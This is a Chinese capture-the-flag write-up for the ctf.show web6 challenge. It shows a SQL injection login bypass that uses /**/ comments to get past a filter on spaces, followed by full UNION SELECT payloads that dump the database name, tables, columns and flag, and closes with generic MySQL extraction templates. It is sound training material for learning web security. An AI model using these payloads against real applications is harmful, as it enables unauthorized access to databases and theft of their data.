ctf.show web6 sql注入过滤了空格

ctf.show web6 sql注入过滤了空格

开始的页面。是一个登录的页面
ctf.show web6 sql注入过滤了空格_第1张图片随便输入用户名和密码,没有报错之类的,就把账户名和密码都清空了
ctf.show web6 sql注入过滤了空格_第2张图片那就来burpsuit抓包
ctf.show web6 sql注入过滤了空格_第3张图片先用个万能密码 ’ or 1=1 #
ctf.show web6 sql注入过滤了空格_第4张图片这里提示sql注入错误,一般是有过滤,这里过滤了空格,绕过空格被过滤的可以用

/**/ ,(),`,tab,两个空格

这利我们用/**/代替空格
先判断有多少字段,先用4个测试一下,没有出现欢迎你的字样
ctf.show web6 sql注入过滤了空格_第5张图片那就用三个,测试成功
ctf.show web6 sql注入过滤了空格_第6张图片爆库
username=admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#&password=123
数据库为web2
ctf.show web6 sql注入过滤了空格_第7张图片爆表
username=admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web2"#&password=123
ctf.show web6 sql注入过滤了空格_第8张图片爆字段
username=admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#&password=123
ctf.show web6 sql注入过滤了空格_第9张图片爆值
username=admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123
ctf.show web6 sql注入过滤了空格_第10张图片flag{65d5206c-f153-42fc-8461-5a1737293ef9}

这里我总结一下,因为这里的数据库为mysql,爆库、爆表、爆字段、爆值都是那几条语句
爆库:

union select 1,2,3,database(); #   //这里得看有多少字段

爆表:

union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #   

爆字段:

union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; #   

爆值:

union select 1,2,3,字段 from 表名; #   

你可能感兴趣的:(ctfshow,web)